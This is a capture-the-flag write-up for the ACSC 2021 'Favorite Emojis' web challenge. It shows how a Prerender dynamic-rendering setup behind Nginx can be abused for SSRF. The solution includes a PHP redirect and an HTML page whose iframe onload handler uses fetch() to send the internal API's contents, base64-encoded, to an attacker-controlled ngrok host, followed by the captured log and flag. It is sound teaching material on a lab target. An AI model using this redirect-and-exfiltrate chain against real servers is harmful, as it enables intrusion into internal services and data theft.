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  1. 2021
  2. Asian Cyber Security Challenge (ACSC) 2021

Favorite Emojis

Prerender dynamic rendering leads to SSRF

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Description

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http://favorite-emojis.chal.acsc.asia:5000

Solution

The server uses something called dynamic rendering, which renders JavaScript on the server-side before serving web crawlers. This is meant to improve SEO.

If we look at the Nginx configuration, we can see that as long as we set our HTTP User-Agent header to one of the web crawlers, e.g.googlebot, the request is re-written and forwarded to the pre-renderer at http://renderer:3000.

location / {
    try_files $uri @prerender;
}

...

location @prerender {
    proxy_set_header X-Prerender-Token YOUR_TOKEN;
    
    set $prerender 0;
    if ($http_user_agent ~* "googlebot|bingbot|yandex|baiduspider|twitterbot|facebookexternalhit|rogerbot|linkedinbot|embedly|quora link preview|showyoubot|outbrain|pinterest\/0\.|pinterestbot|slackbot|vkShare|W3C_Validator|whatsapp") {
        set $prerender 1;
    }
    if ($args ~ "_escaped_fragment_") {
        set $prerender 1;
    }
    if ($http_user_agent ~ "Prerender") {
        set $prerender 0;
    }
    if ($uri ~* "\.(js|css|xml|less|png|jpg|jpeg|gif|pdf|doc|txt|ico|rss|zip|mp3|rar|exe|wmv|doc|avi|ppt|mpg|mpeg|tif|wav|mov|psd|ai|xls|mp4|m4a|swf|dat|dmg|iso|flv|m4v|torrent|ttf|woff|svg|eot)") {
        set $prerender 0;
    }

    if ($prerender = 1) {
        rewrite .* /$scheme://$host$request_uri? break;
        proxy_pass http://renderer:3000;
    }
    if ($prerender = 0) {
        rewrite .* /index.html break;
    }
}

The goal is to get to http://api:8000/.

@app.route("/", methods=["GET"])
def root():
    return FLAG

If the API server was hosted on port 80 instead, there would be no need for any exploitation - the need for subsequent exploitation stems from the fact that $host will strip the port number in the HTTP Host header, preventing us from accessing the API server at port 8000 directly.

Set the host header so that the renderer visits our attacker-controlled site. From there, we can redirect the browser using the Location header.

redirect.php:

<?php 
    header("Location: http://localhost:3000/render?url=http://localhost:3000/render?url=http://0db7-115-66-195-39.ngrok.io/exploit.html");
?>

From the user's perspective, the Nginx server will return the 302 redirect, instead of the contents of the redirected site. However, the renderer's browser will still follow the redirect. It will then be redirected to our second exploit page:

exploit.html:

<html>
    <body>
        <iframe id="iframe" src="http://localhost:3000/render?url=http://api:8000/" onload='fetch("http://0db7-115-66-195-39.ngrok.io/?"+btoa(document.getElementById("iframe").contentWindow.document.documentElement.innerHTML));'></iframe>
    </body>
</html>

Notice that the browser is currently on http://localhost:3000, viewing the pre-rendered exploit.html. Since both the current site and the iframe's source are http://localhost:3000, this bypasses SOP and allows us to access the iframe's contents through the onload handler.

This gives us the http://api:8000/ contents:

[Sat Sep 18 19:36:42 2021] 127.0.0.1:49207 [404]: /?PGhlYWQ+PC9oZWFkPjxib2R5PkFDU0N7c2hhcmtzX2FyZV9hbHdheXNfaHVuZ3J5fTwvYm9keT4= - No such file or directory

Which decodes to

<head></head><body>ACSC{sharks_are_always_hungry}</body>

I came across which gave me the inspiration for the exploit. We know that the server uses to handle these requests. Since Prerender uses Chrome to render JavaScript, we can perform XSS within the renderer.

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